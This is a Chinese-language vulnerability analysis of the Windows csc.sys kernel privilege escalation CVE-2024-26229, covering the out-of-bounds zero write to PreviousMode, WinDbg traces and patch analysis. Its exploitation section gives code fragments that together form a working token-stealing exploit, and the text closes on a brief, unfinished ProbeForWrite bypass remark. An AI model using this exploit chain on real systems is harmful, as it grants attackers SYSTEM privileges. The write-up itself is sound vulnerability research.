前言
该漏洞为windows csc.sys驱动越界写导致的本地内核提权漏洞。
越界写零提权原理
简单来说
我们利用漏洞进行越界写0修改KTHREAD结构中的PreviousMode字段,使其为KernelMode。这样,后续的写操作不会进行权限检查,从而允许我们修改内核数据结构,实现任意地址写入。
通过任意地址写入操作,我们可以将当前进程的Token字段替换为系统进程的Token字段。这样当前进程就能够获得系统进程的权限,从而实现提权。
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718462737477-00a5a8fb-10ce-40f1-bd20-1f5ce73a9659.png#averageHue=%23fbfbfa&clientId=u1a779a47-87ba-4&from=paste&height=879&id=ue66834d0&originHeight=900&originWidth=760&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=34481&status=done&style=none&taskId=u2b45d20f-6990-4236-b452-f7366394b44&title=&width=742)
详细展开
UserMode 与 KernelMode
PreviousMode 通常是 KTHREAD 结构的一部分,在 Windows 内核的头文件中,PreviousMode 通常被定义为 MODE 枚举类型,数据结构如下图所示:
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718332202229-904a87ef-871c-4e21-b8c6-2c8fbc308580.png#averageHue=%23faf9f8&clientId=u542ba775-a675-4&from=paste&height=518&id=u09520480&originHeight=494&originWidth=810&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=37600&status=done&style=none&taskId=uc2df4ed3-07d8-4eb6-8d6e-d11629be2d8&title=&width=850)
在 Windows 内核中,PreviousMode
用于标识线程最后一次执行的模式。这个字段有两个值:
- PreviousMode = UserMode (1)
- 当线程从用户模式调用系统服务(如通过
Nt
或 Zw
前缀的函数)进入内核模式时,PreviousMode
被设置为 UserMode
。这表明调用来源于用户空间,并且是在用户态下发起的系统调用。在用户模式下,应用程序受到更多的限制和安全检查。
- PreviousMode = KernelMode (0)
- 当线程已经在内核模式下执行,并且调用内核模式的例程或函数时,
PreviousMode
保持为 KernelMode
。这表明操作是在内核空间内部进行的。
- 在内核模式下,代码具有完全的系统访问权限,也就是我们提权的关键。
绕过检查实现任意地址写入
PreviousMode 值设置为 0 后,NtReadVirtualMemory()
或 NtWriteVirtualMemory()
、NtAllocateVirtualMemory()
等函数可以被滥用来读取、写入、分配内核内存,因为地址验证检查将被跳过。逆向ntoskrnl.exe
可以获取函数原型,下面举两个例子来了解判断的运行流程:
NtWriteVirtualMemory()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | __int64 __fastcall NtWriteVirtualMemory( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, __int64 BufferSize, __int64 *NumberOfBytesWritten)
{
pCurrentThread = KeGetCurrentThread();
PreviousMode = pCurrentThread->PreviousMode;
if ( PreviousMode )
{
EndAddress = BaseAddress + BufferSize;
if ( BaseAddress + BufferSize lt; BaseAddress )
return STATUS_ACCESS_VIOLATION;
BufferEnd = Buffer + BufferSize;
if ( BufferEnd MmHighestUserAddress || BufferEnd > MmHighestUserAddress )
return STATUS_ACCESS_VIOLATION;
if ( NumberOfBytesWritten )
{
NumberOfBytesWritten_ = NumberOfBytesWritten;
if ( NumberOfBytesWritten >= MmUserProbeAddress )
NumberOfBytesWritten_ = MmUserProbeAddress;
*NumberOfBytesWritten_ = *NumberOfBytesWritten_;
}
}
...
|
NtAllocateVirtualMemory()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | NTSTATUS __stdcall NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect)
{
char PreviousMode = KeGetCurrentThread()->PreviousMode;
if (PreviousMode && (( uintptr_t )BaseAddress >= 0x7FFFFFFF0000 || ( uintptr_t )RegionSize >= 0x7FFFFFFF0000)) {
return STATUS_ACCESS_VIOLATION;
}
if ((AllocationType & 0x44000) != 0) {
return STATUS_INVALID_PARAMETER;
}
NTSTATUS status = MiAllocateVirtualMemoryCommon(
ProcessHandle,
BaseAddress,
ZeroBits,
RegionSize,
AllocationType,
Protect,
PreviousMode);
return status;
}
|
当一个用户模式应用程序调用本地系统服务例程的 Nt 或 Zw 版本时,该例程总是将它接收到的参数视为来自一个不受信任的用户模式源的值。该例程会在使用这些参数之前彻底验证参数值,探测任何由调用者提供的缓冲区,以验证这些缓冲区是否位于有效的用户模式内存中,并且是否对齐正确。
参考:Using Nt and Zw Versions of the Native System Services Routines
举一个例子,如果一个 NtXxx 例程的参数包括一个输入或输出缓冲区,并且如果 PreviousMode = UserMode
,那么该例程会调用 ProbeForRead 或 ProbeForWrite 例程来验证缓冲区。如果缓冲区是分配在系统内存而不是用户模式内存中,ProbeForXxx 例程会引发一个异常,并且 NtXxx 例程会返回 STATUS_ACCESS_VIOLATION
错误代码。
参考:PreviousMode
所以可以看到当 PreviousMode 为0时检查将被绕过,可以直接使用NtWriteVirtualMemory
函数进行任意地址写入操作。
将当前进程 Token 替换为 System Token
替换流程:
- 获取当前进程的 EPROCESS 结构的地址。
- 获取PID为4的进程的EPROCESS 地址。(PID的值为4,意味着该进程为system进程)
- 将系统进程的 Token 复制到当前进程的Token中,从而提升当前进程的权限。
什么是 EPROCESS 结构?
EPROCESS结构体是Windows操作系统内核中用于表示进程的关键数据结构,它包含了进程相关的信息和指向其他相关结构体数据结构的指针,在这里我们需要通过EPROCESS地址来定位到token地址。
这里使用test01.exe进行调试分析:
1 2 3 4 5 | 1: kd> !process 0 0 test01.exe
PROCESS ffffcb8381cf3080
SessionId: 1 Cid: 164c Peb: 3200cac000 ParentCid: 114c
DirBase: 1e2fb5002 ObjectTable: ffff81028a337e80 HandleCount: 41.
Image: test01.exe
|
Token的值在不同windows版本偏移不相同,此处为0x4b8
:
所以,当前 EPROCESS 结构的地址是 ffffcb8381cf3080
,Token 的地址是ffffcb8381cf3080 + 0x4b8
。
查找指定进程的token地址的代码逻辑(以获取当前进程token地址举例):
- 打开当前进程并获取其句柄
- 获取系统中所有句柄的信息
- 遍历获取到的所有句柄的信息,寻找根据PID和句柄匹配的内核对象地址(内核对象地址是实际的内核空间地址,而句柄是用户模式下的索引)
- 根据偏移获取token地址
因此我们通过句柄可以间接找到对应的内核对象地址,对于进程句柄这个地址就是 EPROCESS 地址。有了EPROCESS地址,我们就可以通过偏移获取当前进程的token地址。获取指定PID的token地址也是一样的,这样当我们可以进行任意地址写入后就可以直接将system token写到我们指定进程的token中了。
漏洞分析
csc.sys 简介
csc.sys驱动是一个处理客户端缓存(Client-Side Caching)和提供离线文件功能的系统驱动(windows默认启用)。csc.sys允许用户在断网的情况下继续访问和操作网络文件,当用户在没有网络连接的情况下对这些文件进行更改时,这些更改首先影响的是本地缓存的副本;一旦网络连接恢复,CSC.sys 会负责将这些本地更改同步回网络位置,确保网络上的数据与本地的副本保持一致。
分析漏洞函数
此处使用 csc_10.0.19041.3636.sys
与 csc_10.0.19041.4291_KB5036892.sys
来进行分析。
对比补丁发现主要针对CscDevFcbXXXControlFile
进行了修改:
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718092369113-e0d0ee24-8fc1-4e12-86e6-6ab85dfc5789.png#averageHue=%23fbfbd9&clientId=u15c9eec4-48d3-4&from=paste&height=116&id=YaJ2m&originHeight=145&originWidth=1074&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=12605&status=done&style=none&taskId=u3293d3b0-b2cc-485f-a26f-9604311f539&title=&width=859.2)
csc!CscDevFcbXXXControlFile
是什么?这个函数是如何进行调用?
从该函数命名我们可以得知Fcb(File Control Block)是与文件系统的操作相关的,代码的核心逻辑通过逆向可知是文件系统接收FSCTL code(文件系统控制码)进行操作,windows发送FSCTL code使用的是NtFsControlFile
函数。
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718373889087-59ff1239-26a4-448f-a4da-6fd3c46036f0.png#averageHue=%2331302e&clientId=ub594f28d-466d-4&from=paste&height=323&id=u12db9a03&originHeight=485&originWidth=1284&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=59049&status=done&style=none&taskId=ud802688e-bae9-4f39-8ebf-1f33e88c87d&title=&width=856)
NtFsControlFile
是 Windows 操作系统中一个提供文件系统控制操作的内核API,其函数原型如下:
1 2 3 4 5 6 7 8 9 10 11 12 | NTSTATUS NtFsControlFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
|
从函数原型中得知对应的FSCTL0x001401a3
是通过NtFsControlFile
的FsControlCode
参数进行传递的。
在CscDevFcbXXXControlFile()
当传递对应的 FSCTL code 符合条件后进入代码核心操作,我们观察下面操作是如何进行越界写0的:
1 2 3 4 5 6 7 | if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
{
v10 = *(_QWORD *)(a1 + 0x218);
v4 = 0;
*(_QWORD *)(a1 + 0xB8) = 0i64;
*(_QWORD *)(v10 + 0x18) = 0i64;
}
|
可以看到CscDevFcbXXXControlFile()
有两处写0操作:
*(_QWORD *)(a1 + 0xB8) = 0;
*(_QWORD *)(*(_QWORD *)(a1 + 0x218) + 0x18) = 0;
传入的参数a1是什么?
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718524901364-5c181e8a-0834-4ba5-92be-d33c2318a726.png#averageHue=%23fbfaf9&clientId=u86bc8cdf-f6e2-4&from=paste&height=777&id=u9cc38561&originHeight=741&originWidth=699&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=26714&status=done&style=none&taskId=uf7ffcb0e-5b2f-483c-ba30-380d1111e9d&title=&width=733.2000122070312)
当我们传递NtFsControlFile
的函数参数进行调用时,多个函数会根据参数进行处理,最后传给csc!CscDevFcbXXXControlFile
的参数a1并非是我们传入的线程内核地址,而且是一个指向数据结构的指针,数据结构为:
1 2 3 4 5 6 | CscDevFcbXXXControlFile Param Address:
CscDevFcbXXXControlFile Param Address:
+0x0038 UpdateAndCaptureConnectionState Input Data Structure
+0x020C FSCTL code
+0x0218 InputBuffer (NTFsControlFile Param Address)
+0x0228 InputBufferLength
|
此处参数a1并非我们可控的,所以第一个写0处不可控;但是a1+0x218
则是我们通过NTFsControlFile
传入的地址,此处导致我们越界写0可控。
因此我们此处构造的pNtFsControlFile()
函数代码如下所示,其中 PreviousMode 的偏移为0x232
,减去0x18
来抵消掉等式中的增加0x18
:
1 2 3 4 5 6 7 8 9 10 11 | status = pNtFsControlFile(
handle,
NULL,
NULL,
NULL,
&iosb,
0x001401a3,
( void *)(Curthread + 0x232 - 0x18),
0,
NULL,
0);
|
调试漏洞函数
PreviousMode 越界写零
1 2 3 4 5 6 7 8 9 | 1: kd> !sym noisy
1: kd> !reload
1: kd> lm t n
1: kd> .reload /f csc.sys
1: kd> bp csc!CscDevFcbXXXControlFile
1: kd> g
Breakpoint 0 hit
csc!CscDevFcbXXXControlFile:
fffff800`79869e30 4c8bdc mov r11,rsp
|
1 2 3 4 5 | 1: kd> !process 0 0 CVE-2024-26229-DEBUG.exe
PROCESS ffffcb8381e8d080
SessionId: 1 Cid: 0b74 Peb: d4d6503000 ParentCid: 114c
DirBase: 1bf522002 ObjectTable: ffff81028a34b180 HandleCount: 37.
Image: CVE-2024-26229-EXP.exe
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | 1: kd> !process ffffcb8381e8d080 7
PROCESS ffffcb8381e8d080
SessionId: 1 Cid: 04c8 Peb: 96def11000 ParentCid: 114c
DirBase: 1aba81002 ObjectTable: ffff81028a345c80 HandleCount: 37.
Image: CVE-2024-26229-EXP.exe
VadRoot ffffcb83831a8c90 Vads 28 Clone 0 Private 1062. Modified 0. Locked 0.
DeviceMap ffff810284057490
Token ffff810287cb9870
ElapsedTime 00:00:00.141
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 22504
QuotaPoolUsage[NonPagedPool] 4072
Working Set Sizes (now,min,max) (1669, 50, 345) (6676KB, 200KB, 1380KB)
PeakWorkingSetSize 1630
VirtualSize 4148 Mb
PeakVirtualSize 4148 Mb
PageFaultCount 2139
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 1533
Job ffffcb8380fe9060
THREAD ffffcb837fc6e080 Cid 04c8.0160 Teb: 00000096def12000 Win32Thread: 0000000000000000 RUNNING on processor 1
IRP List:
ffffcb8381150460: (0006,0430) Flags: 00060800 Mdl: 00000000
Not impersonating
DeviceMap ffff810284057490
Owning Process ffffcb8381e8d080 Image: CVE-2024-26229-EXP.exe
Attached Process N/A Image: N/A
Wait Start TickCount 1523195 Ticks: 0
Context Switch Count 138 IdealProcessor: 0
UserTime 00:00:00.000
KernelTime 00:00:00.046
Win32 Start Address 0x00007ff767d91810
Stack Init ffffc90a255e7c90 Current ffffc90a255e7530
Base ffffc90a255e8000 Limit ffffc90a255e2000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
|
- 从
_KTHREAD
结构中查看PreviousMode
字段
1 2 3 4 5 6 7 8 9 10 | 1: kd> dt nt!_KTHREAD ffffcb837fc6e080
+0x220 Process : 0xffffcb83`81e8d080 _KPROCESS
+0x228 UserAffinity : _GROUP_AFFINITY
+0x228 UserAffinityFill : [10] "???"
+0x232 PreviousMode : 1 ''
+0x233 BasePriority : 8 ''
+0x234 PriorityDecrement : 0 ''
+0x234 ForegroundBoost : 0y0000
|
1 2 3 4 5 6 7 8 9 10 | dt nt!_KTHREAD ffffcb837fc6e080
+0x220 Process : 0xffffcb83`81e8d080 _KPROCESS
+0x228 UserAffinity : _GROUP_AFFINITY
+0x228 UserAffinityFill : [10] "???"
+0x232 PreviousMode : 0 ''
+0x233 BasePriority : 8 ''
+0x234 PriorityDecrement : 0 ''
+0x234 ForegroundBoost : 0y0000
|
可以看到未触发漏洞前PreviousMode为1,在触发漏洞后则被越界写为0。
NtFsControlFile 函数调用
- 仅对目标程序下断点调试 NtFsControlFile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | 0: kd> x nt!*NtFsControlFile*
fffff804`756e6f60 nt!NtFsControlFile (NtFsControlFile)
1: kd> !process 0 0 CVE-2024-26229-DEBUG.exe
PROCESS ffff988f7520e080
SessionId: 1 Cid: 0568 Peb: 6c0bc49000 ParentCid: 10f4
DirBase: 220cf5002 ObjectTable: ffffaa006bd91980 HandleCount: 44.
Image: CVE-2024-26229-DEBUG.exe
1: kd> !process ffff988f7520e080 7
1: kd> bp nt!NtFsControlFile ".if (@$proc != 0xffff988f740b0080) {gc;}"
1: kd> r
rax=fffff804756e6f60 rbx=ffff988f73f5d080 rcx=000000000000008c
rdx=0000000000000000 rsi=000000c4490ff678 rdi=ffff95020867daa8
rip=fffff804756e6f60 rsp=ffff95020867da88 rbp=ffff95020867db80
r8=0000000000000000 r9=0000000000000000 r10=fffff804756e6f60
r11=fffff804753ef320 r12=0000000000000000 r13=0000000000000000
r14=ffff988f7065c040 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
|
前四个参数通过寄存器 RCX、RDX、R8、和 R9 传递,剩余的参数则通过栈传递:
- RCX:
000000000000008c
文件句柄
- RDX:
0000000000000000
没有使用事件
- R8:
0000000000000000
没有指定APC函数
- R9:
0000000000000000
没有指定APC上下文
1 2 3 4 5 6 7 8 9 10 | 1: kd> dps rsp L9
ffff9502`0867da88 fffff804`753ef375 nt!KiSystemServiceCopyEnd+0x25
ffff9502`0867da90 00000000`000000a8
ffff9502`0867da98 00000000`00000000
ffff9502`0867daa0 00000000`00000000
ffff9502`0867daa8 ffff988f`74aaf080
ffff9502`0867dab0 000000c4`490ff728
ffff9502`0867dab8 00000000`001401a3
ffff9502`0867dac0 ffff988f`73f5d29a
ffff9502`0867dac8 00000000`00000000
|
- IoStatusBlock:
ffff95020867daa8 -> ffff988f74aaf080
- FsControlCode:
ffff95020867dab8
值为0x001401a3
- InputBuffer:
ffff95020867dac0
->ffff988f73f5d29a
- InputBufferLength:
ffff95020867dac8
值为 0
当前线程地址为ffff988f73f5d080
:
1 | 0xffff988f73f5d29a = 0xffff988f73f5d080 + 0x232 -0x18
|
可以看到上面函数的传参均符合预期。
CscDevFcbXXXControlFile 函数调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | 1: kd> bp csc!CscDevFcbXXXControlFile
1: kd> g
Breakpoint 1 hit
csc!CscDevFcbXXXControlFile:
fffff804`7af69e30 4c8bdc mov r11,rsp
1: kd> r
rax=fffff8047af69e30 rbx=ffff988f7450fc80 rcx=ffff988f7450fc80
rdx=ffff988f74f2b820 rsi=ffff988f74f2b820 rdi=ffff988f712a6030
rip=fffff8047af69e30 rsp=ffff95020867d2b8 rbp=ffff988f74f2b820
r8=0000000000000000 r9=ffff988f74f2b980 r10=fffff8047530eba0
r11=ffff95020867d320 r12=fffff8047aeab000 r13=fffff8047aea44f0
r14=000000000000ec23 r15=ffff988f74f2b980
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
csc!CscDevFcbXXXControlFile:
fffff804`7af69e30 4c8bdc mov r11,rsp
1: kd> dq ffff988f7450fc80+0x20C
ffff988f`7450fe8c 00000000`001401a3 73f5d29a`00000000
ffff988f`7450fe9c 00000000`ffff988f 00000000`00000000
ffff988f`7450feac 00000000`00000000 00000000`00000000
ffff988f`7450febc 00000000`00000000 00000000`00000000
ffff988f`7450fecc 00000000`00000000 00000000`00000000
ffff988f`7450fedc 00000000`00000000 00000000`00000000
ffff988f`7450feec 00000000`00000000 00000000`00000000
ffff988f`7450fefc 00000000`00000000 00000000`00000000
1: kd> dq ffff988f7450fc80+0x218
ffff988f`7450fe98 ffff988f`73f5d29a 00000000`00000000
ffff988f`7450fea8 00000000`00000000 00000000`00000000
ffff988f`7450feb8 00000000`00000000 00000000`00000000
ffff988f`7450fec8 00000000`00000000 00000000`00000000
ffff988f`7450fed8 00000000`00000000 00000000`00000000
ffff988f`7450fee8 00000000`00000000 00000000`00000000
ffff988f`7450fef8 00000000`00000000 00000000`00000000
ffff988f`7450ff08 00000000`00000000 00000000`00000000
|
函数传入参数为ffff988f7450fc80
,对应传入参数a1,分析出指针指向的数据结构:
1 2 3 4 | CscDevFcbXXXControlFile Param Address:
+0x0038 UpdateAndCaptureConnectionState Input Data Structure
+0x020C FSCTL code
+0x0218 NTFsControlFile Param Address
|
CscUpdateAndCaptureConnectionStateEx 函数调用
该函数用于更新和捕获连接状态,其中对判断函数中变量的改变起到了关键作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | 1: kd> bp csc!CscUpdateAndCaptureConnectionStateEx
1: kd> g
Breakpoint 2 hit
csc!CscUpdateAndCaptureConnectionStateEx:
fffff804`7af02970 48895c2410 mov qword ptr [rsp+10h],rbx
1: kd> r
rax=ffff95020867d288 rbx=ffff988f7450fc80 rcx=fffff8047aeab3c0
rdx=ffffaa0069eadda0 rsi=0000000000000000 rdi=00000000c0000010
rip=fffff8047af02970 rsp=ffff95020867d218 rbp=0000000000000001
r8=ffff988f7450fc80 r9=0000000000000000 r10=fffff8047530eba0
r11=ffff95020867d2b8 r12=fffff8047aeab000 r13=fffff8047aea44f0
r14=ffffaa0069eadda0 r15=fffff8047af37000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
csc!CscUpdateAndCaptureConnectionStateEx:
fffff804`7af02970 48895c2410 mov qword ptr [rsp+10h],rbx ss:0018:ffff9502`0867d228=0000000000000000
|
函数第一个参数为指向数据结构的一个指针,对应CscDevFcbXXXControlFile Param + 0x0038
:
1 2 3 4 5 6 7 8 9 | 1: kd> dq ffff988f7450fc80+0x38
ffff988f`7450fcb8 fffff804`7aeab3c0 ffffaa00`6bd216f0
ffff988f`7450fcc8 ffffaa00`69eadda0 ffff988f`712a6030
ffff988f`7450fcd8 ffff988f`73f5d080 ffff988f`73f5d080
ffff988f`7450fce8 00000000`00000000 00000000`00000000
ffff988f`7450fcf8 00000000`00001001 00000000`00000000
ffff988f`7450fd08 00000000`00000000 00000000`00000000
ffff988f`7450fd18 00000000`00000000 00000000`00000000
ffff988f`7450fd28 00000000`00020000 00000000`00000000
|
其中函数参数v14
初始化为0,此处传递v14
的地址进行运算,函数的调用中后续会使用该变量进行判断,为该函数的第5个参数:
1 2 3 4 5 6 7 | CscUpdateAndCaptureConnectionStateEx(
(unsigned int )*(_QWORD *)(a1 + 0x38),
(unsigned int )v2,
(unsigned int )a1,
0,
( __int64 )&v14,
1);
|
可以看到 rsp 寄存器的值为ffff95020867d218
。在堆栈中第五个参数的地址存储在rsp + 0x28
位置,即ffff95020867d240
。对应值为ffff9502
0867d288`,其当前指向地址值为0:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | 1: kd> dps rsp L9
ffff9502`0867d218 fffff804`7af69f21 csc!CscDevFcbXXXControlFile+0xf1
ffff9502`0867d220 00000000`00000000
ffff9502`0867d228 00000000`00000000
ffff9502`0867d230 00000000`00000000
ffff9502`0867d238 fffff804`7aecfc6b rdbss!RdbssStatisticsEntryArrayFindOrCreateSecondaryInstance+0x5f
ffff9502`0867d240 ffff9502`0867d288
ffff9502`0867d248 00000000`00000001
ffff9502`0867d250 00000000`00000000
ffff9502`0867d258 00000000`00000000
1: kd> dq ffff95020867d288
ffff9502`0867d288 00000000`00000000 00000000`00000000
ffff9502`0867d298 ffff076a`ad991417 ffff988f`74f2b980
ffff9502`0867d2a8 00000000`0000ec23 ffff988f`712a6030
ffff9502`0867d2b8 fffff804`7aebb329 ffff988f`7450fc80
ffff9502`0867d2c8 ffff988f`7450fc80 ffff988f`74f2b820
ffff9502`0867d2d8 ffff988f`74f2b820 ffff988f`7450fc80
ffff9502`0867d2e8 fffff804`7aebb1d3 ffff988f`74f2b980
ffff9502`0867d2f8 00000000`001401a3 00000000`00000000
|
在运算结束后,其值发生改变,则因此进入了我们的核心运算逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | 1: kd> gu
csc!CscDevFcbXXXControlFile+0xf1:
fffff804`7af69f21 f644246810 test byte ptr [rsp+68h],10h
1: kd> dq ffff95020867d288
ffff9502`0867d288 00000000`00004010 00000000`00000000
ffff9502`0867d298 ffff076a`ad991417 ffff988f`74f2b980
ffff9502`0867d2a8 00000000`0000ec23 ffff988f`712a6030
ffff9502`0867d2b8 fffff804`7aebb329 ffff988f`7450fc80
ffff9502`0867d2c8 ffff988f`7450fc80 ffff988f`74f2b820
ffff9502`0867d2d8 ffff988f`74f2b820 ffff988f`7450fc80
ffff9502`0867d2e8 fffff804`7aebb1d3 ffff988f`74f2b980
ffff9502`0867d2f8 00000000`001401a3 00000000`00000000
|
漏洞利用
经过上面的分析,我们下面实现漏洞利用代码了。
打开驱动设备获取句柄
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718462178639-74ef8ca1-2e3a-466b-a9b1-b303f4cab25b.png#averageHue=%23faf8f6&clientId=u1a779a47-87ba-4&from=paste&height=405&id=u7f928492&originHeight=506&originWidth=1070&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=89401&status=done&style=none&taskId=ua0009983-2532-4a25-bbed-56fe5776bd4&title=&width=856)
1 2 3 | pRtlInitUnicodeString(&objectName, L "\\Device\\Mup\\;Csc\\.\\." );
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
|
构造获取目标进程内核对象地址函数
此处使用NtQuerySystemInformation来进行内核地址泄露:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, ( size_t )2 * ulBytes);
else
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ( size_t )2 * ulBytes);
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for ( ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short )handle))
{
*ppObjAddr = ( ULONG64 )pHandleInfo->Handles[i].Object;
Ret = 0;
break ;
}
}
done:
return Ret;
}
|
该函数用户获取当前进程内核对象地址和system进程内核对象地址:
1 2 | GetObjPtr(&Sysproc, 4, 4);
GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
|
调用NtFsControlFile触发漏洞越界写零
1 2 3 4 5 6 7 8 9 10 11 | status = pNtFsControlFile(
handle,
NULL,
NULL,
NULL,
&iosb,
CSC_DEV_FCB_XXX_CONTROL_FILE,
( void *)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18),
0,
NULL,
0);
|
修改当前进程令牌
1 2 3 4 5 6 7 8 9 10 11 12 13 | NTSTATUS Write64(_In_ uintptr_t * Dst, _In_ uintptr_t * Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
return -1;
return Status;
}
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
|
恢复 PreviousMode 为 UserMode
如果不进行此操作则会触发BSOD:
1 2 | Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
|
执行高权限命令
成功提权。
补丁分析
分析的补丁为KB5036892,该补丁进行的调整:
- 新增了17个函数
- 1个函数进行代码调整:
CscDevFcbXXXControlFile()
- 增加
Feature_1543900478__private_IsEnabled()
- 增加
ProbeForWrite()
CscDevFcbXXXControlFile 函数变动
查看该函数变动:
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718463390049-d88f8d84-961a-4e39-b5ed-cd38f7e84917.png#averageHue=%23f4f3f3&clientId=u6d02a70a-c0bb-4&from=paste&height=1027&id=ud50da69d&originHeight=1284&originWidth=2244&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=323737&status=done&style=none&taskId=u670a13af-1c9d-4aa1-ab03-abdece39327&title=&width=1795.2)
可以看到在FSCTL code等于0x1401a3
后,新增了Feature_1543900478__private_IsEnabled
功能判断,该函数是微软补丁用来适配未打补丁的系统的,因此打了补丁的系统会让该函数返回值为1,进入else判断中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | if (*( int *)(param_1 + 0x20c) == 0x1401a3) {
uVar4 = Feature_1543900478__private_IsEnabled();
if (uVar4 == 0) {
*(undefined8 *)(param_1 + 0xb8) = 0;
*(undefined8 *)(*(longlong *)(param_1 + 0x218) + 0x18) = 0;
uVar5 = uVar6;
uVar3 = 0;
}
else {
*(undefined8 *)(param_1 + 0xb8) = 0;
if (*(uint *)(param_1 + 0x228) < 0x24) {
uVar5 = uVar6;
uVar3 = 0x23;
}
else {
lVar2 = *(longlong *)(param_1 + 0x218);
if (*( char *)(*(longlong *)(param_1 + 0x28) + 0x40) != '\0' ) {
ProbeForWrite(lVar2,*(uint *)(param_1 + 0x228),4);
}
if (*( int *)(lVar2 + 4) == 6) {
*(undefined8 *)(lVar2 + 0x18) = 0;
uVar5 = uVar6;
uVar3 = 0;
}
else {
uVar3 = 0xd;
uVar5 = uVar6;
}
}
}
}
|
在Feature_1543900478__private_IsEnabled
函数返回值为0,则会如同之前漏洞版本的驱动一下可以进行越界写0。在打完补丁返回值为1后,则进入else中,使用ProbeForWrite
对我们传入的内核地址进行检查。ProbeForWrite
的函数函数原型为:
1 2 3 4 5 | void ProbeForWrite(
[in, out] volatile VOID *Address,
[in] SIZE_T Length,
[in] ULONG Alignment
);
|
该函数的作用是:
- 检查缓存长度不为0后,检查内存是否按指定的字节数对齐
- 检查整个缓存区是否位于用户态内存范围内
这两个检查任意一个不成功,该函数都会引发一个异常(例如违规访问)。像是我们之前直接传入内核地址在这里就会触发异常,因此补丁之后无法触发漏洞。
ProbeForWrite 绕过手法
假如有下面这样一个例子:
1 2 3 | ProbeForWrite ( OutputBuffer,
OutputBufferLength,
sizeof ( UCHAR ));
|
如果使用addr=kernelmode, size=0
则可用于绕过 ProbeForWrite 检查,这是TOCTOU的利用手法。在 ProbeForWrite 检查和操作之间有一个时间窗口,在这个窗口期内,初始验证的条件可能被改变,从而导致 ProbeForWrite 检查被绕过。具体分为两个阶段:
